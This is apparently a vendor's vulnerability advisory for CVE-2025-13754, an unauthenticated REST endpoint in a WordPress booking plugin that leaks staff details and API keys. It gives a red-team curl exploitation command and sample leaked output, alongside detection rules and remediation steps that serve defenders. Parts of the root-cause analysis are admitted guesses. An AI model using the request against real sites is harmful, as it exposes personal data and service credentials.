CVE-2025-13754
Executive Summary
CVE-2025-13754 is a Sensitive Information Exposure vulnerability in the Appointment Booking Calendar — Simply Schedule Appointments Booking Plugin for WordPress. The flaw resides in the plugin's REST API endpoint /wp-json/ssa/v1/embed-inner-admin, which exposes sensitive configuration data—including staff names, business names, and potentially API keys for external services—without requiring authentication. This allows any unauthenticated attacker to extract private business configuration data. The vulnerability affects all versions up to and including 1.6.9.16. As a WordPress plugin issue, this is a direct vulnerability in the plugin's code, not in the underlying web server (Apache/Nginx).
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This is a WordPress plugin, not an NPM, PyPI, Go, or Ruby package. However, the plugin is distributed via the WordPress plugin repository and may be included in managed WordPress hosting environments. The lack of a patch increases supply chain risk for sites using this plugin.
CVSS Breakdown & Threat Level
- CVSS Score: 5.3 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: Low (exposure of configuration data, not full system compromise)
- Integrity Impact: None
- Availability Impact: None
Threat Level: Medium. While the CVSS score is moderate, the exposure of API keys (in premium versions) could lead to lateral movement or data breaches.
Deep Dive & Mechanics
The vulnerability is due to the plugin's REST API endpoint /wp-json/ssa/v1/embed-inner-admin being registered without proper permission checks. In WordPress, REST API routes are defined using register_rest_route(). The plugin likely omitted the permission_callback parameter or set it to __return_true, allowing unauthenticated access.
The endpoint returns a JSON response containing the plugin's internal settings, including:
- Staff names and email addresses
- Business name and address
- Booking configuration (time slots, durations, etc.)
- In premium versions: API keys for external services (e.g., Google Calendar, Zoom, Stripe)
The data is intended for the admin embed interface but is exposed to anyone who sends a GET request to the endpoint.
Vulnerable vs. Patched Code
Vulnerable Code (simplified example):
register_rest_route( 'ssa/v1', '/embed-inner-admin', array(
'methods' => 'GET',
'callback' => 'ssa_get_embed_inner_admin',
// Missing permission_callback
) );
Patched Code (expected fix):
register_rest_route( 'ssa/v1', '/embed-inner-admin', array(
'methods' => 'GET',
'callback' => 'ssa_get_embed_inner_admin',
'permission_callback' => function() {
return current_user_can( 'manage_options' );
}
) );
The patch adds a permission_callback that checks for the manage_options capability, ensuring only administrators can access the endpoint.
Exploitation & Lab Setup
Red Team
Exploitation Steps:
- Identify a WordPress site using the Simply Schedule Appointments plugin (version <= 1.6.9.16).
- Send a GET request to the vulnerable endpoint:
GET /wp-json/ssa/v1/embed-inner-admin HTTP/1.1 Host: target-site.com - Parse the JSON response to extract sensitive data.
Example cURL command:
curl -s "https://target-site.com/wp-json/ssa/v1/embed-inner-admin" | jq .
Expected output (truncated):
{
"staff": [
{"name": "John Doe", "email": "john@example.com"}
],
"business_name": "Example Business",
"api_keys": {
"google_calendar": "AIzaSy...",
"stripe": "sk_live_..."
}
}
Blue Team
Detection Steps:
- Monitor web server logs for requests to
/wp-json/ssa/v1/embed-inner-adminfrom IPs that are not admin users. - Check for unusual spikes in API calls to this endpoint.
- Verify that the plugin is updated to a patched version (if available).
Honeypot Setup:
- Deploy a fake WordPress site with the vulnerable plugin and monitor for exploitation attempts.
- Log all requests to the endpoint and analyze attacker IPs.
Indicators of Compromise (IOCs)
- URL Pattern:
/wp-json/ssa/v1/embed-inner-admin - HTTP Method: GET
- Response Content-Type:
application/json - Response Data: Contains fields like
staff,business_name,api_keys,settings - Attacker Behavior: Repeated requests to the endpoint from the same IP, possibly with automated tools (e.g., curl, wget, Python scripts)
Detection Engineering
YARA Rule
rule Detect_SSA_Embed_Admin_Exposure {
meta:
description = "Detects requests to the vulnerable Simply Schedule Appointments embed-inner-admin endpoint"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-13754"
strings:
$endpoint = "/wp-json/ssa/v1/embed-inner-admin"
$json_response = /"staff":\s*\[/
condition:
$endpoint or $json_response
}
Sigma Rule
title: Detection of CVE-2025-13754 Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests to the vulnerable Simply Schedule Appointments endpoint
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-uri-stem: "/wp-json/ssa/v1/embed-inner-admin"
condition: selection
falsepositives:
- Legitimate admin access (rare, as admins typically use the admin UI)
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-13754 - Simply Schedule Appointments Sensitive Info Exposure"; flow:to_server; content:"/wp-json/ssa/v1/embed-inner-admin"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is available.
- Block access to the vulnerable endpoint using a web application firewall (WAF) or
.htaccess:RewriteEngine On RewriteCond %{REQUEST_URI} ^/wp-json/ssa/v1/embed-inner-admin [NC] RewriteRule .* - [F,L] - Rotate any exposed API keys (if premium version was used).
Long-term Fix:
- Apply the vendor patch when released (add
permission_callbackto the REST route). - Monitor the plugin's changelog for updates.
Workaround:
- Use a WordPress security plugin (e.g., Wordfence) to add custom firewall rules blocking the endpoint.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.